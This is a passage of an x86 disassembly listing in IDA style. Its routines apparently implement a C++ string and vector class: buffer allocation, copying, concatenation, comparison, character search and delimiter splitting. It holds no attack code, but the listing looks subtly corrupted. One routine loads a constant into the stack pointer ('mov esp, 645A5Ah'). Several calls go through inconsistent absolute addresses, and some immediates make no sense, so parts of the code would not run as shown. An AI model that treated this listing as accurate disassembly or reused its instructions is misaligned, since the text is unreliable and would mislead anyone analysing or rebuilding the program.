loc_4097AC:				; CODE XREF: sub_409790+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_4097BF
		push	eax
		call	sub_430332
		add	esp, 4


loc_4097BF:				; CODE XREF: sub_409790+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409790	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097E0	proc near		; CODE XREF: sub_401564j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_40984A
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_40980A
		push	eax
		call	sub_430332
		add	esp, 4


loc_40980A:				; CODE XREF: sub_4097E0+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_43034A
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[esi+9], edi
		jz	short loc_40984A
		mov	ecx, ebx
		xor	eax, eax
		mov	edx, ecx
		mov	[esi+11h], ebp
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+11h]
		mov	ecx, [esp+10h+arg_0]
		mov	edx, [esi+9]
		push	eax
		push	ecx
		push	edx
		call	dword ptr ds:18D398h
		add	esp, 0Ch


loc_40984A:				; CODE XREF: sub_4097E0+Cj
					; sub_4097E0+3Dj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_4097E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409880	proc near		; CODE XREF: sub_401E65j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_401564
		pop	esi
		retn	4
sub_409880	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4098B0:				; CODE XREF: _294ADE7B:00401965j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	4C69CCh
		push	ecx
		call	dword ptr ds:2634E6h
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_401564
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409900	proc near		; CODE XREF: sub_4019BAj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409992
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_43034A
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409992
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_40998F
		push	eax
		call	sub_430332
		add	esp, 4


loc_40998F:				; CODE XREF: sub_409900+84j
		mov	[ebx+9], ebp


loc_409992:				; CODE XREF: sub_409900+Cj
					; sub_409900+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409900	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4099D0	proc near		; CODE XREF: sub_40162Cj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_4019BA
		pop	esi
		retn	4
sub_4099D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401122j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	531A73h
		push	ecx
		call	dword ptr ds:698D39h
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_4019BA
		pop	esi
		add	esp, 10h
		retn	4
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A50	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409A67
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A67:				; CODE XREF: sub_409A50+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409A6B:				; CODE XREF: sub_409A50+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409A96
		test	cl, cl
		jz	short loc_409A8F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409A96
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409A6B


loc_409A8F:				; CODE XREF: sub_409A50+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A96:				; CODE XREF: sub_409A50+23j
					; sub_409A50+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409A50	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AC0	proc near		; CODE XREF: sub_401A7Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_4012B7
		pop	esi
		retn	4
sub_409AC0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409AF0:				; CODE XREF: _294ADE7B:0040149Cj
		mov	eax, [esp+4]
		test	eax, eax
		jnz	short loc_409B03
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409B03:				; CODE XREF: _294ADE7B:00409AF6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	dword ptr ds:34C69Ch
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B30	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_4012B7
		pop	esi
		retn	4
sub_409B30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B60	proc near		; CODE XREF: sub_401B9Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_409B73
		push	eax
		call	sub_430332
		add	esp, 4


loc_409B73:				; CODE XREF: sub_409B60+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_409B60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B90	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	ecx, 0A5A634h
		call	sub_430390
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_409BD2
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	52D31Ah
		push	edx
		call	dword ptr ds:69698Dh
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401564


loc_409BD2:				; CODE XREF: sub_409B90+13j
		add	esp, 2000h
		retn
sub_409B90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C00	proc near		; CODE XREF: sub_401BFEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4012D5
		retn	4
sub_409C00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C20	proc near		; CODE XREF: sub_4012D5j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, ds:dword_4B3AC4
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_409C44
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_409C44:				; CODE XREF: sub_409C20+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	eax, 8B4B4Ch
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_409C20	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C70	proc near		; CODE XREF: sub_4017D5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40174E
		retn	4
sub_409C70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C90	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_401F91
		pop	esi
		retn	8
sub_409C90	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CC0	proc near		; CODE XREF: sub_40138Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401F91
		retn	4
sub_409CC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409CE0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_409CF5
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_409CF5:				; CODE XREF: sub_409CE0+Bj
		mov	eax, [esi+9]
		mov	ebx, ds:dword_4B3ADC
		push	edi
		push	eax
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_409D0F
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_409D0F:				; CODE XREF: sub_409CE0+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx
		mov	edi, [esi+9]
		add	esp, 8
		mov	esp, 645A5Ah
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_409CE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D50	proc near		; CODE XREF: sub_401B40j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_409D63
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409D63:				; CODE XREF: sub_409D50+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_409D76
		push	eax
		call	sub_430332
		add	esp, 4


loc_409D76:				; CODE XREF: sub_409D50+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_43034A
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
sub_409D50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DD0	proc near		; CODE XREF: sub_401384j
		mov	eax, [ecx+11h]
		retn
sub_409DD0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DF0	proc near		; CODE XREF: sub_40127Bj

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	3A2D2Dh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_409E42
		mov	esi, [esp+34h+arg_0]
		push	1D1696h
		mov	ecx, esi
		call	sub_4017A8
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409E42:				; CODE XREF: sub_409DF0+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_4013CF
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_43034A
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+3Ch+arg_4]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+40h+var_2C]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+40h+var_24]
		call	sub_401564
		push	ebx
		call	sub_430332
		mov	esi, [esp+40h+arg_0]
		add	esp, 4
		lea	eax, [esp+3Ch+var_24]
		mov	ecx, esi
		push	eax
		call	sub_40146F
		lea	ecx, [esp+3Ch+var_24]
		call	sub_4011F9
		mov	ecx, [esp+3Ch+var_C]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
sub_409DF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F20	proc near		; CODE XREF: sub_401CF8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_401384
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_40127B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_409F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409F60:				; CODE XREF: _294ADE7B:00401866j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401F73
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_4011C2j

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	0E8B4Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_409FD1
		mov	esi, [esp+44h+arg_0]
		push	745A5h
		mov	ecx, esi
		call	sub_4017A8
		jmp	loc_40A104
; ---------------------------------------------------------------------------


loc_409FD1:				; CODE XREF: sub_409F90+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401604
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_4017A8
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_401479
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A0B5
		push	ebx


loc_40A011:				; CODE XREF: sub_409F90+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A020


loc_40A017:				; CODE XREF: sub_409F90+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A017


loc_40A020:				; CODE XREF: sub_409F90+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A02F
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A02F:				; CODE XREF: sub_409F90+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_4018B1
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A07F
		test	cl, cl
		jz	short loc_40A067


loc_40A04B:				; CODE XREF: sub_409F90+D5j
		cmp	cl, 22h
		jnz	short loc_40A05C
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A067
		test	cl, cl
		jz	short loc_40A067


loc_40A05C:				; CODE XREF: sub_409F90+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A04B


loc_40A067:				; CODE XREF: sub_409F90+B9j
					; sub_409F90+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A0AA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A0AA
		add	eax, 2
		jmp	short loc_40A0A6
; ---------------------------------------------------------------------------


loc_40A07F:				; CODE XREF: sub_409F90+B5j
		test	cl, cl
		jz	short loc_40A094
		mov	dl, [edi]


loc_40A085:				; CODE XREF: sub_409F90+102j
		cmp	cl, dl
		jz	short loc_40A094
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A085


loc_40A094:				; CODE XREF: sub_409F90+F1j
					; sub_409F90+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A0AA
		cmp	cl, [edi]
		jnz	short loc_40A0AA
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A0A6:				; CODE XREF: sub_409F90+EDj
		mov	[esp+48h+var_3C], eax


loc_40A0AA:				; CODE XREF: sub_409F90+DAj
					; sub_409F90+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A011
		pop	ebx


loc_40A0B5:				; CODE XREF: sub_409F90+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011D1
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A0CD
		push	3A2D2h
		jmp	short loc_40A0DA
; ---------------------------------------------------------------------------


loc_40A0CD:				; CODE XREF: sub_409F90+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401E1A
		mov	eax, [eax]
		push	eax


loc_40A0DA:				; CODE XREF: sub_409F90+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_4017A8
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_4011F9
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40151E


loc_40A104:				; CODE XREF: sub_409F90+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A190	proc near		; CODE XREF: sub_401622j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011C2
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A190	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1D0	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401339
		push	eax
		mov	ecx, esi
		call	sub_401564
		pop	esi
		retn	4
sub_40A1D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A200	proc near		; CODE XREF: sub_4019A1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401564
		retn	4
sub_40A200	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A220	proc near		; CODE XREF: sub_40141Aj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A220	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A240:				; CODE XREF: _294ADE7B:00401447j
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A260	proc near		; CODE XREF: sub_401339j
		mov	eax, [ecx+9]
		retn
sub_40A260	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A280	proc near		; CODE XREF: sub_401726j
		mov	eax, [ecx+9]
		retn
sub_40A280	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2A0	proc near		; CODE XREF: sub_401479j
		mov	eax, [ecx+9]
		retn
sub_40A2A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2C0	proc near		; CODE XREF: sub_401604j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A2F0	proc near		; CODE XREF: sub_40151Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4018CA
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011C7
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
sub_40A2F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A340	proc near		; CODE XREF: sub_4011D1j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A34A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A34A:				; CODE XREF: sub_40A340+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A340	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A370	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011D1
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A388
		mov	ecx, esi
		call	sub_401DAC


loc_40A388:				; CODE XREF: sub_40A370+Fj
		mov	ecx, esi
		call	sub_401BF9
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A370	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3B0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4015CD
		push	eax
		mov	ecx, esi
		call	sub_40165E
		pop	esi
		retn	4
sub_40A3B0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3E0	proc near		; CODE XREF: sub_401BF9j
		mov	eax, [ecx+4]
		retn
sub_40A3E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A400	proc near		; CODE XREF: sub_4015CDj
		mov	eax, [ecx+8]
		retn
sub_40A400	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A420	proc near		; CODE XREF: sub_40165Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401BF9
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_40137A
		mov	ecx, edi
		call	sub_401BF9
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A420	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A470	proc near		; CODE XREF: sub_4018CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A490


loc_40A481:				; CODE XREF: sub_40A470+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4017E4
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A481


loc_40A490:				; CODE XREF: sub_40A470+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A470	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A4B0:				; CODE XREF: sub_401DACj
		push	0FFFFFFFFh
